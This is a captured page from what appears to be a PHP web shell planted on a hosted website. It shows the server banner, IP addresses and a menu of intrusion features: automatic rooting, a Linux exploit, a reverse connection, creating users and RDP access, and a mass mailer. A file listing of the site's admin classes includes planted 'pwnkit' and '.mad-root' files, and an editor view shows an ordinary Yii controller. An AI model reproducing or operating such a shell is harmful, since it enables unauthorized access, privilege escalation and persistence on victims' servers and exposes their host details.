Linux webd002.cluster121.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.121.40.2 | : 216.73.216.88
Cant Read [ /etc/named.conf ]
7.2.34
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
letacommog /
letaweb /
admin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Exceptions
[ DIR ]
drwx---r-x
addons
[ DIR ]
drwx---r-x
components
[ DIR ]
drwx---r-x
hoauth
[ DIR ]
drwx---r-x
hosting
[ DIR ]
drwx---r-x
htmlpurifier
[ DIR ]
drwx---r-x
mailchimp
[ DIR ]
drwx---r-x
payments
[ DIR ]
drwx---r-x
php-jwt
[ DIR ]
drwx---r-x
rss
[ DIR ]
drwx---r-x
socialEmbed
[ DIR ]
drwx---r-x
swiftMailer
[ DIR ]
drwx---r-x
twig
[ DIR ]
drwx---r-x
twig-renderer-master
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw----r--
Blowfish.php
21.79
KB
-rw----r--
CMS_Rewrite.php
8.4
KB
-rw----r--
CSSParser.php
8.43
KB
-rw----r--
Configuration.php
218
B
-rw----r--
DLDatabaseHelper.php
4.16
KB
-rw----r--
ETwigViewRenderer.php
10.23
KB
-rw----r--
Functions.php
11.14
KB
-rw----r--
Mail.php
312
B
-rw----r--
PController.php
5.38
KB
-rw----r--
Randomness.php
7.09
KB
-rw----r--
Rijndael.php
2.6
KB
-rw----r--
ScreenShot.php
1.3
KB
-rw----r--
UrlManager.php
18.33
KB
-rw----r--
WebApplication.php
1.24
KB
-rw----r--
general.php
6.17
KB
-rw----r--
package.xml
28.37
KB
-rw----r--
passwordhash.php
8.26
KB
-rw----r--
pwnkit
0
B
-rwx---r-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PController.php
<?php /** * Controller is the customized base controller class. * All controller classes for this application should extend from this base class. */ class PController extends CController { /** * @var string the default layout for the controller view. Defaults to 'column1', * meaning using a single column layout. See 'protected/views/layouts/column1.php'. */ public $layout = 'column4'; /** * @var array context menu items. This property will be assigned to {@link CMenu::items}. */ public $menu = array(); /** * @var array the breadcrumbs of the current page. The value of this property will * be assigned to {@link CBreadcrumbs::links}. Please refer to {@link CBreadcrumbs::links} * for more details on how to specify this property. */ public $language_terms = array(); public $breadcrumbs = array(); public function beforeRender($view) { parent::beforeRender($view); Yii::app()->runComponent('beforeRender',$view); return true; } public function afterRender($view, &$output) { parent::afterRender($view, $output); Yii::app()->runComponent('afterRender',$view); ///return true; } public function initShortcodes() { if(!isset(Yii::app()->shortcode)) return; $path = ('site_app.shortcodes'); if(!file_exists(Yii::getPathofAlias($path))) { $path = ('application.shortcodes'); } //Yii::import($path.'.*'); foreach(glob(Yii::getPathofAlias($path). DIRECTORY_SEPARATOR.'*_src.php') as $file) { $filename = basename($file); $shortcode_id = str_replace('_src.php', '',$filename); Yii::app()->shortcode->add_shortcode($shortcode_id, array($this, 'shortcode_callback')); } } public function shortcode_callback($attrs, $m,$tag) { //extract( Yii::app()->shortcode->shortcode_atts( $attrs, $attrs ) ); $path = ('site_app.shortcodes'); if(!file_exists(Yii::getPathofAlias($path))) { $path = ('application.shortcodes'); } return $this->renderPartial($path.'.'.$tag.'_src', array('attrs'=>$attrs, 'shortcode_id'=>$tag), true); } public function processOutput($output) { if(isset(Yii::app()->shortcode)) $output = Yii::app()->shortcode->parse($output); return parent::processOutput($output); } public function init() { $params = ''; parent::init(); @include_once Yii::getPathofAlias('application.classes.general').'.php'; @include_once Yii::getPathofAlias('site_app.classes.general').'.php'; $app = Yii::app(); if (isset(Yii::app()->params['language'])) { $app->language = Yii::app()->params['language']; } elseif (isset($app->session['_lang'])) { $app->language = $app->session['_lang']; } else { $lang = substr(Yii::app()->getRequest()->getPreferredLanguage(), 0, 2); if (isset(Yii::app()->request->cookies['lang'])) { $lang = Yii::app()->request->cookies['lang']->value; } $app->language = $lang; $app->session['_lang'] = $lang; } $this->initShortcodes(); //$app->session['dfdfdsfdsf']; Yii::app()->runComponent('afterControllerInit', $params); if(@class_exists('cmm_system')) { //cmm_system::init(); //cmm_system::run('load_dependencies'); } } public function beforeAction($view) { parent::beforeAction($view); Yii::app()->runComponent('beforeAction',$view); if(isset(Yii::app()->ecommerce)) { //Yii::app()->ecommerce->beforeRender(); } return true; } public function afterAction($view) { parent::afterAction($view); Yii::app()->runComponent('afterAction',$view); if(isset(Yii::app()->ecommerce)) { //Yii::app()->ecommerce->afterRender(); } } public function t($key) { if (isset(Yii::app()->lang)) { Yii::app()->lang->t($key); } } public function term($key) { if (isset(Yii::app()->lang)) { return Yii::app()->lang->term($key); } } public function ajaxSuccess($data) { $rs = array('success' => true, 'data' => $data); echo json_encode($rs); } public function ajaxError($msg = '') { $rs = array('success' => false, 'type' => 1, 'message' => $msg); echo json_encode($rs); } public function ajaxLoginRequired($msg = '') { $rs = array('success' => false, 'type' => 2, 'message' => $msg); echo json_encode($rs); } public function JWTValidate() { $requestHeaders = Functions::apache_request_headers(); $authorizationHeader = $requestHeaders['AUTHORIZATION']; if ($authorizationHeader == null) { header('HTTP/1.0 401 Unauthorized'); echo 'No authorization header sent'; exit(); } // // validate the token $token = str_replace('Bearer ', '', $authorizationHeader); $secret = 'YOUR_CLIENT_SECRET'; $decoded_token = null; try { $decoded_token = JWT::decode($token, base64_decode(strtr($secret, '-_', '+/'))); } catch (UnexpectedValueException $ex) { header('HTTP/1.0 401 Unauthorized'); echo 'Invalid token'; exit(); } // // validate that this token was made for us if ($decoded_token->aud != 'YOUR_CLIENT_ID0') { header('HTTP/1.0 401 Unauthorized'); echo 'Invalid token'; exit(); } } }
Close